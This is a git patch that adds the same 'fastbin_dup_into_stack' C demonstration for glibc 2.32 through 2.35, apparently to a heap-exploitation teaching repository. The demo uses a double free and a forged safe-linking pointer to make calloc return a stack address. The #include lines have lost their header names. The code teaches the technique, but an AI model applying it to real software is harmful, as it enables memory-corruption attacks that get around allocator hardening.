From 089a2c9f7a72dc535ef900e02ba88f9af8fc74db Mon Sep 17 00:00:00 2001 From: Kyle Zeng Date: Sat, 21 May 2022 11:04:32 -0700 Subject: [PATCH] add fastbin dup into stack to glibcs with safe linking --- Makefile | 8 +-- glibc_2.32/fastbin_dup_into_stack.c | 77 +++++++++++++++++++++++++++++ glibc_2.33/fastbin_dup_into_stack.c | 77 +++++++++++++++++++++++++++++ glibc_2.34/fastbin_dup_into_stack.c | 77 +++++++++++++++++++++++++++++ glibc_2.35/fastbin_dup_into_stack.c | 77 +++++++++++++++++++++++++++++ 5 files changed, 312 insertions(+), 4 deletions(-) create mode 100644 glibc_2.32/fastbin_dup_into_stack.c create mode 100644 glibc_2.33/fastbin_dup_into_stack.c create mode 100644 glibc_2.34/fastbin_dup_into_stack.c create mode 100644 glibc_2.35/fastbin_dup_into_stack.c diff --git a/Makefile b/Makefile index 5e9b718..48f03a4 100644 --- a/Makefile +++ b/Makefile @@ -2,10 +2,10 @@ BASE = malloc_playground first_fit calc_tcache_idx V2.23 = glibc_2.23/fastbin_dup_consolidate glibc_2.23/fastbin_dup_into_stack glibc_2.23/fastbin_dup_consolidate glibc_2.23/unsafe_unlink glibc_2.23/house_of_spirit glibc_2.23/poison_null_byte glibc_2.23/house_of_lore glibc_2.23/overlapping_chunks glibc_2.23/overlapping_chunks_2 glibc_2.23/house_of_force glibc_2.23/large_bin_attack glibc_2.23/unsorted_bin_attack glibc_2.23/unsorted_bin_into_stack glibc_2.23/house_of_einherjar glibc_2.23/house_of_orange glibc_2.23/house_of_roman glibc_2.23/mmap_overlapping_chunks glibc_2.23/fastbin_dup glibc_2.23/house_of_mind_fastbin glibc_2.23/house_of_storm V2.27 = glibc_2.27/fastbin_dup_consolidate glibc_2.27/fastbin_dup_into_stack glibc_2.27/unsafe_unlink glibc_2.27/house_of_lore glibc_2.27/overlapping_chunks glibc_2.27/large_bin_attack glibc_2.27/unsorted_bin_attack glibc_2.27/unsorted_bin_into_stack glibc_2.27/house_of_einherjar glibc_2.27/tcache_poisoning glibc_2.27/tcache_house_of_spirit glibc_2.27/house_of_botcake glibc_2.27/tcache_stashing_unlink_attack glibc_2.27/fastbin_reverse_into_tcache glibc_2.27/mmap_overlapping_chunks glibc_2.27/fastbin_dup glibc_2.27/house_of_force glibc_2.27/poison_null_byte glibc_2.27/house_of_mind_fastbin glibc_2.27/house_of_storm V2.31 = glibc_2.31/fastbin_dup_consolidate glibc_2.31/fastbin_dup_into_stack glibc_2.31/unsafe_unlink glibc_2.31/overlapping_chunks glibc_2.31/house_of_einherjar glibc_2.31/tcache_poisoning glibc_2.31/tcache_house_of_spirit glibc_2.31/house_of_botcake glibc_2.31/tcache_stashing_unlink_attack glibc_2.31/fastbin_reverse_into_tcache glibc_2.31/mmap_overlapping_chunks glibc_2.31/fastbin_dup glibc_2.31/large_bin_attack glibc_2.31/house_of_mind_fastbin glibc_2.31/house_of_lore glibc_2.31/poison_null_byte -V2.32 = glibc_2.32/fastbin_dup_consolidate glibc_2.32/unsafe_unlink glibc_2.32/overlapping_chunks glibc_2.32/house_of_einherjar glibc_2.32/tcache_poisoning glibc_2.32/tcache_house_of_spirit glibc_2.32/house_of_botcake glibc_2.32/tcache_stashing_unlink_attack glibc_2.32/fastbin_reverse_into_tcache glibc_2.32/mmap_overlapping_chunks glibc_2.32/fastbin_dup glibc_2.32/large_bin_attack glibc_2.32/house_of_mind_fastbin glibc_2.32/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.32/poison_null_byte -V2.33 = glibc_2.33/fastbin_dup_consolidate glibc_2.33/unsafe_unlink glibc_2.33/overlapping_chunks glibc_2.33/house_of_einherjar glibc_2.33/tcache_poisoning glibc_2.33/tcache_house_of_spirit glibc_2.33/house_of_botcake glibc_2.33/tcache_stashing_unlink_attack glibc_2.33/fastbin_reverse_into_tcache glibc_2.33/mmap_overlapping_chunks glibc_2.33/fastbin_dup glibc_2.33/large_bin_attack glibc_2.33/house_of_mind_fastbin glibc_2.33/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.33/poison_null_byte -V2.34 = glibc_2.34/fastbin_dup_consolidate glibc_2.34/unsafe_unlink glibc_2.34/overlapping_chunks glibc_2.34/house_of_einherjar glibc_2.34/tcache_poisoning glibc_2.34/tcache_house_of_spirit glibc_2.34/house_of_botcake glibc_2.34/tcache_stashing_unlink_attack glibc_2.34/fastbin_reverse_into_tcache glibc_2.34/mmap_overlapping_chunks glibc_2.34/fastbin_dup glibc_2.34/large_bin_attack glibc_2.34/house_of_mind_fastbin glibc_2.34/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.34/poison_null_byte -V2.35 = glibc_2.35/fastbin_dup_consolidate glibc_2.35/unsafe_unlink glibc_2.35/overlapping_chunks glibc_2.35/house_of_einherjar glibc_2.35/tcache_poisoning glibc_2.35/tcache_house_of_spirit glibc_2.35/house_of_botcake glibc_2.35/tcache_stashing_unlink_attack glibc_2.35/fastbin_reverse_into_tcache glibc_2.35/mmap_overlapping_chunks glibc_2.35/fastbin_dup glibc_2.35/large_bin_attack glibc_2.35/house_of_mind_fastbin glibc_2.35/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.35/poison_null_byte +V2.32 = glibc_2.32/fastbin_dup_consolidate glibc_2.32/unsafe_unlink glibc_2.32/overlapping_chunks glibc_2.32/house_of_einherjar glibc_2.32/tcache_poisoning glibc_2.32/tcache_house_of_spirit glibc_2.32/house_of_botcake glibc_2.32/tcache_stashing_unlink_attack glibc_2.32/fastbin_reverse_into_tcache glibc_2.32/mmap_overlapping_chunks glibc_2.32/fastbin_dup glibc_2.32/large_bin_attack glibc_2.32/house_of_mind_fastbin glibc_2.32/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.32/poison_null_byte glibc_2.32/fastbin_dup_into_stack +V2.33 = glibc_2.33/fastbin_dup_consolidate glibc_2.33/unsafe_unlink glibc_2.33/overlapping_chunks glibc_2.33/house_of_einherjar glibc_2.33/tcache_poisoning glibc_2.33/tcache_house_of_spirit glibc_2.33/house_of_botcake glibc_2.33/tcache_stashing_unlink_attack glibc_2.33/fastbin_reverse_into_tcache glibc_2.33/mmap_overlapping_chunks glibc_2.33/fastbin_dup glibc_2.33/large_bin_attack glibc_2.33/house_of_mind_fastbin glibc_2.33/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.33/poison_null_byte glibc_2.33/fastbin_dup_into_stack +V2.34 = glibc_2.34/fastbin_dup_consolidate glibc_2.34/unsafe_unlink glibc_2.34/overlapping_chunks glibc_2.34/house_of_einherjar glibc_2.34/tcache_poisoning glibc_2.34/tcache_house_of_spirit glibc_2.34/house_of_botcake glibc_2.34/tcache_stashing_unlink_attack glibc_2.34/fastbin_reverse_into_tcache glibc_2.34/mmap_overlapping_chunks glibc_2.34/fastbin_dup glibc_2.34/large_bin_attack glibc_2.34/house_of_mind_fastbin glibc_2.34/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.34/poison_null_byte glibc_2.34/fastbin_dup_into_stack +V2.35 = glibc_2.35/fastbin_dup_consolidate glibc_2.35/unsafe_unlink glibc_2.35/overlapping_chunks glibc_2.35/house_of_einherjar glibc_2.35/tcache_poisoning glibc_2.35/tcache_house_of_spirit glibc_2.35/house_of_botcake glibc_2.35/tcache_stashing_unlink_attack glibc_2.35/fastbin_reverse_into_tcache glibc_2.35/mmap_overlapping_chunks glibc_2.35/fastbin_dup glibc_2.35/large_bin_attack glibc_2.35/house_of_mind_fastbin glibc_2.35/house_of_lore glibc_2.32/decrypt_safe_linking glibc_2.35/poison_null_byte glibc_2.35/fastbin_dup_into_stack PROGRAMS = $(BASE) $(V2.23) $(V2.27) $(V2.31) $(V2.32) $(V2.33) $(V2.34) $(V2.35) CFLAGS += -std=c99 -g -Wno-unused-result -Wno-free-nonheap-object LDLIBS += -ldl diff --git a/glibc_2.32/fastbin_dup_into_stack.c b/glibc_2.32/fastbin_dup_into_stack.c new file mode 100644 index 0000000..b84be5a --- /dev/null +++ b/glibc_2.32/fastbin_dup_into_stack.c @@ -0,0 +1,77 @@ +#include +#include +#include + +int main() +{ + fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" + "returning a pointer to a controlled location (in this case, the stack).\n"); + + + fprintf(stderr,"Fill up tcache first.\n"); + + void *ptrs[7]; + + for (int i=0; i<7; i++) { + ptrs[i] = malloc(8); + } + for (int i=0; i<7; i++) { + free(ptrs[i]); + } + + + unsigned long stack_var[2] __attribute__ ((aligned (0x10))); + + fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var); + + fprintf(stderr, "Allocating 3 buffers.\n"); + int *a = calloc(1,8); + int *b = calloc(1,8); + int *c = calloc(1,8); + + fprintf(stderr, "1st calloc(1,8): %p\n", a); + fprintf(stderr, "2nd calloc(1,8): %p\n", b); + fprintf(stderr, "3rd calloc(1,8): %p\n", c); + + fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin + free(a); + + fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); + + fprintf(stderr, "So, instead, we'll free %p.\n", b); + free(b); + + //Calling free(a) twice renders the program vulnerable to Double Free + + fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); + free(a); + + fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " + "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); + unsigned long *d = calloc(1,8); + + fprintf(stderr, "1st calloc(1,8): %p\n", d); + fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); + fprintf(stderr, "Now the free list has [ %p ].\n", a); + fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" + "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" + "so that calloc will think there is a free chunk there and agree to\n" + "return a pointer to it.\n", a); + stack_var[1] = 0x20; + + fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); + fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); + fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); + unsigned long ptr = (unsigned long)stack_var; + unsigned long addr = (unsigned long) d; + /*VULNERABILITY*/ + *d = (addr >> 12) ^ ptr; + /*VULNERABILITY*/ + + fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); + + void *p = calloc(1,8); + + fprintf(stderr, "4th calloc(1,8): %p\n", p); + assert((unsigned long)p == (unsigned long)stack_var + 0x10); +} diff --git a/glibc_2.33/fastbin_dup_into_stack.c b/glibc_2.33/fastbin_dup_into_stack.c new file mode 100644 index 0000000..b84be5a --- /dev/null +++ b/glibc_2.33/fastbin_dup_into_stack.c @@ -0,0 +1,77 @@ +#include +#include +#include + +int main() +{ + fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" + "returning a pointer to a controlled location (in this case, the stack).\n"); + + + fprintf(stderr,"Fill up tcache first.\n"); + + void *ptrs[7]; + + for (int i=0; i<7; i++) { + ptrs[i] = malloc(8); + } + for (int i=0; i<7; i++) { + free(ptrs[i]); + } + + + unsigned long stack_var[2] __attribute__ ((aligned (0x10))); + + fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var); + + fprintf(stderr, "Allocating 3 buffers.\n"); + int *a = calloc(1,8); + int *b = calloc(1,8); + int *c = calloc(1,8); + + fprintf(stderr, "1st calloc(1,8): %p\n", a); + fprintf(stderr, "2nd calloc(1,8): %p\n", b); + fprintf(stderr, "3rd calloc(1,8): %p\n", c); + + fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin + free(a); + + fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); + + fprintf(stderr, "So, instead, we'll free %p.\n", b); + free(b); + + //Calling free(a) twice renders the program vulnerable to Double Free + + fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); + free(a); + + fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " + "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); + unsigned long *d = calloc(1,8); + + fprintf(stderr, "1st calloc(1,8): %p\n", d); + fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); + fprintf(stderr, "Now the free list has [ %p ].\n", a); + fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" + "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" + "so that calloc will think there is a free chunk there and agree to\n" + "return a pointer to it.\n", a); + stack_var[1] = 0x20; + + fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); + fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); + fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); + unsigned long ptr = (unsigned long)stack_var; + unsigned long addr = (unsigned long) d; + /*VULNERABILITY*/ + *d = (addr >> 12) ^ ptr; + /*VULNERABILITY*/ + + fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); + + void *p = calloc(1,8); + + fprintf(stderr, "4th calloc(1,8): %p\n", p); + assert((unsigned long)p == (unsigned long)stack_var + 0x10); +} diff --git a/glibc_2.34/fastbin_dup_into_stack.c b/glibc_2.34/fastbin_dup_into_stack.c new file mode 100644 index 0000000..b84be5a --- /dev/null +++ b/glibc_2.34/fastbin_dup_into_stack.c @@ -0,0 +1,77 @@ +#include +#include +#include + +int main() +{ + fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" + "returning a pointer to a controlled location (in this case, the stack).\n"); + + + fprintf(stderr,"Fill up tcache first.\n"); + + void *ptrs[7]; + + for (int i=0; i<7; i++) { + ptrs[i] = malloc(8); + } + for (int i=0; i<7; i++) { + free(ptrs[i]); + } + + + unsigned long stack_var[2] __attribute__ ((aligned (0x10))); + + fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var); + + fprintf(stderr, "Allocating 3 buffers.\n"); + int *a = calloc(1,8); + int *b = calloc(1,8); + int *c = calloc(1,8); + + fprintf(stderr, "1st calloc(1,8): %p\n", a); + fprintf(stderr, "2nd calloc(1,8): %p\n", b); + fprintf(stderr, "3rd calloc(1,8): %p\n", c); + + fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin + free(a); + + fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); + + fprintf(stderr, "So, instead, we'll free %p.\n", b); + free(b); + + //Calling free(a) twice renders the program vulnerable to Double Free + + fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); + free(a); + + fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " + "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); + unsigned long *d = calloc(1,8); + + fprintf(stderr, "1st calloc(1,8): %p\n", d); + fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); + fprintf(stderr, "Now the free list has [ %p ].\n", a); + fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" + "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" + "so that calloc will think there is a free chunk there and agree to\n" + "return a pointer to it.\n", a); + stack_var[1] = 0x20; + + fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); + fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); + fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); + unsigned long ptr = (unsigned long)stack_var; + unsigned long addr = (unsigned long) d; + /*VULNERABILITY*/ + *d = (addr >> 12) ^ ptr; + /*VULNERABILITY*/ + + fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); + + void *p = calloc(1,8); + + fprintf(stderr, "4th calloc(1,8): %p\n", p); + assert((unsigned long)p == (unsigned long)stack_var + 0x10); +} diff --git a/glibc_2.35/fastbin_dup_into_stack.c b/glibc_2.35/fastbin_dup_into_stack.c new file mode 100644 index 0000000..b84be5a --- /dev/null +++ b/glibc_2.35/fastbin_dup_into_stack.c @@ -0,0 +1,77 @@ +#include +#include +#include + +int main() +{ + fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" + "returning a pointer to a controlled location (in this case, the stack).\n"); + + + fprintf(stderr,"Fill up tcache first.\n"); + + void *ptrs[7]; + + for (int i=0; i<7; i++) { + ptrs[i] = malloc(8); + } + for (int i=0; i<7; i++) { + free(ptrs[i]); + } + + + unsigned long stack_var[2] __attribute__ ((aligned (0x10))); + + fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var); + + fprintf(stderr, "Allocating 3 buffers.\n"); + int *a = calloc(1,8); + int *b = calloc(1,8); + int *c = calloc(1,8); + + fprintf(stderr, "1st calloc(1,8): %p\n", a); + fprintf(stderr, "2nd calloc(1,8): %p\n", b); + fprintf(stderr, "3rd calloc(1,8): %p\n", c); + + fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin + free(a); + + fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); + + fprintf(stderr, "So, instead, we'll free %p.\n", b); + free(b); + + //Calling free(a) twice renders the program vulnerable to Double Free + + fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); + free(a); + + fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " + "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); + unsigned long *d = calloc(1,8); + + fprintf(stderr, "1st calloc(1,8): %p\n", d); + fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); + fprintf(stderr, "Now the free list has [ %p ].\n", a); + fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" + "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" + "so that calloc will think there is a free chunk there and agree to\n" + "return a pointer to it.\n", a); + stack_var[1] = 0x20; + + fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); + fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); + fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); + unsigned long ptr = (unsigned long)stack_var; + unsigned long addr = (unsigned long) d; + /*VULNERABILITY*/ + *d = (addr >> 12) ^ ptr; + /*VULNERABILITY*/ + + fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); + + void *p = calloc(1,8); + + fprintf(stderr, "4th calloc(1,8): %p\n", p); + assert((unsigned long)p == (unsigned long)stack_var + 0x10); +}